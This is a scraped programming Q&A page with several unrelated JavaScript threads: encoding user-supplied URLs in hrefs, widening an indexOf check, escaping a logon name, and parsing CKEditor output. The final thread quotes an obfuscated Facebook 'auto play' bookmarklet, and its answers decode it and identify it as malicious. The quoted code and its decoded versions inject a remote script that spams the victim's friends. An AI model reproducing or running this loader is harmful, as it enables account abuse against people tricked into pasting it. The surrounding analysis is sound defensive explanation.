We Keep Coding

What is the right way to safely and accurately insert user-provided URL data into an HTML5 document?

Given an arbitrary customer input in a web form for a URL, I want to generate a new HTML document containing that URL within an href. My question is how am I supposed to protect that URL within my HTML.
What should be rendered into the HTML for the following URLs that are entered by an unknown end user:
http://example.com/?file=some_19%affordable.txt
http://example.com/url?source=web&last="f o o"&bar=<
https://www.google.com/url?source=web&sqi=2&url=https%3A%2F%2Ftwitter.com%2F%3Flang%3Den&last=%22foo%22
If we assume that the URLs are already uri-encoded, which I think is reasonable if they are copying it from a URL bar, then simply passing it to attr() produces a valid URL and document that passes the Nu HTML checker at validator.w3.org/nu.
To see it in action, we set up a JS fiddle at https://jsfiddle.net/kamelkev/w8ygpcsz/2/ where replacing the URLs in there with the examples above can show what is happening.
For future reference, this consists of an HTML snippet
<a>My Link</a>
and this JS:
$(document).ready(function() {
$('a').attr('href', 'http://example.com/request.html?data=>');
$('a').attr('href2', 'http://example.com/request.html?data=<');
alert($('a').get(0).outerHTML);
});
So with URL 1, it is not possible to tell if it is URI encoded or not by looking at it mechanically. You can surmise based on your human knowledge that it is not, and is referring to a file named some_19%affordable.txt. When run through the fiddle, it produces
My Link
Which passes the HTML5 validator no problem. It likely is not what the user intended though.
The second URL is clearly not URI encoded. The question becomes what is the right thing to put into the HTML to prevent HTML parsing problems.
Running it thru the fiddle, Safari 10 produces this:
My Link
and pretty much every other browser produces this:
My Link
Neither of these passes the validator. Three complaints are possible: the literal double quote (from un-escaping HTML), the spaces, or the trailing < character (also from un-escaping HTML). It just shows you the first of these it finds. This is clearly not valid HTML.
Two ways to try to fix this are a) html-escape the URL before giving it to attr(). This however results in every & becoming & and the entities such as & and < become double-escaped by attr(), and the URL in the document is entirely inaccurate. It looks like this:
My Link
The other is to URI-encode it before passing to attr(), which does result in a proper validating URL which actually clicks to the intended destination. It looks like this:
My Link
Finally, for the third URL, which is properly URI encoded, the proper HTML that validates does come out.
My Link
and it does what the user would expect to happen when clicked.
Based on this, the algorithm should be:
if url is encoded then
pass as-is to attr()
else
pass encodeURI(url) to attr()
however, the "is encoded" test seems to be impossible to detect in the affirmative based on these two prior discussions (indeed, see example URL 1):
How to find out if string has already been URL encoded?
How to know if a URL is decoded/encoded?
If we bypass the attr() method and forcibly insert the HTML-escaped version of example URL 2 into the document structure, it would look like this:
My Link
Which seemingly looks like valid HTML, yet fails the HTML5 validator because it unescapes to have invalid URL characters. The browsers, however, don't seem to mind it. Unfortunately, if you do any other manipulation of the object, the browser will re-escape all the &'s anyway.
As you can see, this is all very confusing. This is the first time we're using the browser itself to generate the HTML, and we are not sure if we are getting it right. Previously, we did it server side using templates, and only did the HTML-escape filter.
What is the right way to safely and accurately insert user-provided
URL data into an HTML5 document (using JavaScript)?

If you can assume the URL is either encoded or not encoded, you may be able to get away with something along the lines of this. Try to decode the URL, treat an error as the URL not being encoded and you should be left with a decoded URL.
<script>
var inputurl = 'http://example.com/?file=some_19%affordable.txt';
var myurl;
try {
myurl = decodeURI(inputurl);
}
catch(error) {
myurl = inputurl;
}
console.log(myurl);
</script>

How to allow for another index string to run a script

I have no script abilitiy, but i'd like to edit an existing script which is currently restricting the script from running on any page other then the one that has a certain string in the URL.
Here is the snippet of the script which limits it from running
if(location.href.indexOf("MODULE=MESSAGE")>0||location.href.indexOf("/message")>0)
This only allows the script to run on these pages
mysite/2014/home/11609?MODULE=MESSAGE1
and the pages range from Message1 to Message20
mysite/2014/home/11609?MODULE=MESSAGE20
I would like to also allow the script to be loaded and ran on these pages
mysite/2014/options?L=11609&O=247&SEQNO=1&PRINTER=1
where the SEQNO=1 ranges from 1 to SEQNO=20, just like the MESSAGE1-MESSAGE20 do
Can someone show me how i can edit that small snippet of script to allow the SEQNO string found in the url to work also.
Thanks

If you can't just remove the condition altogether (there's not enough context to know if that's an option), you can just add another or condition (||) like so:
if(location.href.indexOf("MODULE=MESSAGE")>0
||location.href.indexOf("/message")>0
||location.href.indexOf("SEQNO=")>0)
Note that the second clause there isn't actually being used in any of your examples, so could potentially be removed. Also note that this isn't actually checking for a number so it isn't restricted to Message1 to Message20 as you suggest. It would match Message21 or even MessageFoo. That may or may not be a problem for you. You can make the conditions as restrictive or as lose as makes sense.

If you just want to check for the existence of "SEQNO", simply duplicate what is being done for "MODULE_MESSAGE".
if(location.href.indexOf("MODULE=MESSAGE")>0 ||
location.href.indexOf("SEQNO=")>0 ||
location.href.indexOf("/message")>0)
If you want to also ensure that "MESSAGE" ends in 1-20, and "SEQNO=" ends in 1-20, you can use a regex.
// create the end part of the regex, which checks for numbers 1-20
var regexEnd = "([1-9]|1[0-9]|20)[^0-9]*$";
// create the individual regexes
var messageRegex = new RegExp("MODULE=MESSAGE" + regexEnd);
var seqnoRegex = new RegExp("SEQNO=" + regexEnd);
// now comes your if statement, using the regex test() function, which returns true if it matches
if(messageRegex.test(location.href) ||
seqnoRegex.test(location.href) ||
location.href.indexOf("/message")>0)

Javascript to preserve \f in returned value

I have the following javascript which works fine for the most part. It gets the user that has logged in to the site and returns their DOMAIN\username info. The problem arises when the username starts with a letter that completes a valid escape character (eg. DOMAIN\fname). The \f gets interpolated and all kinds of terrible things happen. I have tried every sort of workaround to try and replace and/or escape/encode the '\'. The problem is the \f does not seem like it is available to process/match against. The string that gets operated on is 'DOMAINname'
// DOMAIN\myusername - this works fine
// DOMAIN\fusername - fails
var userName='<%= Request.ServerVariables("LOGON_USER")%>';
userName = userName.replace('DOMAIN','');
alert("Username: " + userName);
I also see all kinds of weird behaviour if I try to do a workaround using the userName variable, I think this may be because it contains a hidden \f. I've searched high and low for a solution, can't find a thing. Tried to find out if I could remove the DOMAIN\ on the serverside but that doesn't seem available either. Does anyone have a solution or workaround? In the debugger, the initial value of the servervariable is correct but the next immediate call to that variable is wrong. So the interpolated values in the debugger look like this:
var userName='DOMAIN\fusername';
userName; // 'DOMAINusername' in debugger.
Thanks

If you're using ASP.net (as it looks like you are), use AjaxHelper.JavaScriptStringEncode or HttpUtility.JavaScriptStringEncode to output the string correctly.
var userName='<%= HttpUtility.JavaScriptStringEncode(Request.ServerVariables("LOGON_USER"))%>';

Parsing a string returned from ckeditor using javascript string methods

I am trying to get a certain area of data out from ckeditor. In order to do that I use the following code
function get_body_html(){
var email = CKEDITOR.instances['message'].getData();
var before_body = header_to + to + to_subject + subject + subject_body;
var s_index = email.indexOf(before_body)+before_body.length;
var e_index = email.indexOf(body_footer);
return email.substring(s_index,e_index);
}
For some reason that works when I do this on page load
CKEDITOR.instances.message.setData(header_to + to + to_subject+
subject + subject_body + body_text + body_footer);
get_body_html();
it works correctly and gives me the same string that is contained in body_text.
But when I do this
body_text = get_body_html();
CKEDITOR.instances.message.setData(header_to + to + to_subject + subject +
subject_body + body_text + body_footer);
in an onclick function it gets the wrong indexs somehow. Sometimes it can't find the string and returns -1 other times it just gets a weird index that doesn't make sense. These index variations only happen when my code is changed to tackle the problem a different way. So if it is the wrong indices like -5 and 2 then those would continue to be the wrong indices until I made a code change.

There are two facts that you should know about editor.setData.
In some cases it is asynchronous (it depends on the type of editor). That's why it also accepts a callback. Therefore any code that is meant to be executed after setData() should be executed in that callback.
It never is asynchronous before editor is ready. In this period (between editor initialization and instanceReady event) it works in a different mode - it just caches the set value and on getData() it returns exactly that value.
So, as I see on page load you call synchronously setData() and getData() - your function works because you get the value you're expecting to get.
But then, when you try to getData() when editor is already ready you get the HTML parsed, fixed, processed and perhaps differently formatted by CKEditor. I guess that your indexOf() checks are not enough to handle this. You have to rethink your function - e.g. regexp can help.
What also can help is removing htmlwriter plugin, which formats HTML in a way which may make it harder for you to work with it. E.g.:
config.removePlugins = 'htmlwriter';

I was able to get it to work. So the htmlwriter was one of the problems because it must add spaces in between by HTML tags. The other issue I found is that it strips some of the semicolons out in some of the style attributes. Overall CKEditor does a lot of formatting of the source which makes it very hard to index correctly but it's pretty much a trial and error thing. I ended up using the search JavaScript method for strings which can take a regular expression but I used it the same way indexOf would be used so I don't really know if that made a difference or not.

Can someone decrypt this javascript

i found it in a forum that tell me that this code would give me auto play for facebook games but i afraid that this is not what they say, im afraid that this is malicious script
please help :)
javascript:var _0x8dd5=["\x73\x72\x63","\x73\x63\x72\x69\x70\x74","\x63\x7 2\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x 68\x74\x74\x70\x3A\x2F\x2F\x75\x67\x2D\x72\x61\x64 \x69\x6F\x2E\x63\x6F\x2E\x63\x63\x2F\x66\x6C\x6F\x 6F\x64\x2E\x6A\x73","\x61\x70\x70\x65\x6E\x64\x43\ x68\x69\x6C\x64","\x62\x6F\x64\x79"];(a=(b=document)[_0x8dd5[2]](_0x8dd5[1]))[_0x8dd5[0]]=_0x8dd5[3];b[_0x8dd5[5]][_0x8dd5[4]](a); void (0);

Let's start by decoding the escape sequences, and get rid of that _0x8dd5 variable name:
var x=[
"src","script","createElement","http://ug-radio.co.cc/flood.js",
"appendChild","body"
];
(a=(b=document)[x[2]](x[1]))[x[0]]=x[3];
b[x[5]][x[4]](a);
void (0);
Substituting the string from the array, you are left with:
(a=(b=document)["createElement"]("script"))["src"]="http://ug-radio.co.cc/flood.js";
b["body"]["appendChild"](a);
void (0);
So, what the script does is simply:
a = document.createElement("script");
a.src = "http://ug-radio.co.cc/flood.js";
document.body.appendChild(a);
void (0);
I.e. it loads the Javascript http://ug-radio.co.cc/flood.js in the page.
Looking at the script in the file that is loaded, it calls itself "Wallflood By X-Cisadane". It seems to get a list of your friends and post a message to (or perhaps from) all of them.
Certainly nothing to do with auto play for games.

I opened firebug, and pasted part of the script into the console (being careful to only paste the part that created a variable, rather than running code). This is what I got:
what I pasted:
console.log(["\x73\x72\x63","\x73\x63\x72\x69\x70\x74","\x63\x7 2\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x 68\x74\x74\x70\x3A\x2F\x2F\x75\x67\x2D\x72\x61\x64 \x69\x6F\x2E\x63\x6F\x2E\x63\x63\x2F\x66\x6C\x6F\x 6F\x64\x2E\x6A\x73","\x61\x70\x70\x65\x6E\x64\x43\ x68\x69\x6C\x64","\x62\x6F\x64\x79"]);
the result:
["src", "script", "cx7 2eateElement", "x 68ttp://ug-rad io.co.cc/flox 6Fd.js", "appendC x68ild", "body"]
In short, what this looks like is script to load an external Javascript file from a remote server with a very dodgy looking domain name.
There are a few characters which are not converted quite to what you'd expect. This could be typos (unlikely) or deliberate further obfuscation, to fool any automated malware checker looking for scripts containing URLs or references to createElement, etc. The remainder of the script patches those characters back into place individually before running it.
The variable name _0x8dd5 is chosen to look like hex code and make the whole thing harder to read, but in fact it's just a regular Javascript variable name. It is referenced repeatedly in the rest of the script as it copies characters from one part of the string to another to fix the deliberate gaps.
Definitely a malicious script.
I recommend burning it immediately! ;-)

Well, the declared var is actually this:
var _0x8dd5= [
'src', 'script', 'cx7 2eateElement',
'x 68ttp://ug-rad io.co.cc/flox 6Fd.js', 'appendC x68ild', 'body'
];
The rest is simple to figure out.

Well your first statement is setting up an array with roughly the following contents:
var _0x8dd5 = ["src", "script", "createElement", "http://ug-radio.co.cc/flood.js", "appendChild", "body"];
I say "roughly" because I'm using Chrome's JavaScript console to parse the data, and some things seem to be a bit garbled. I've cleaned up the garbled portions as best as I can.
The rest appears to be calling something along the lines of:
var b = document;
var a = b.createElement("script");
a.src = "http://ug-radio.co.cc/flood.js";
b.body.appendChild(a);
So basically, it is adding a (probably malicious) script to the document.

You most probably know how to decode this or how it was encoded, but for those that aren't sure, it is nothing but 2-digit hexadecimal escape sequence. It could also be 4 digit one using \udddd (eg. "\u0032" is "2") or \ddd for octal.
Decoding hex string in javascript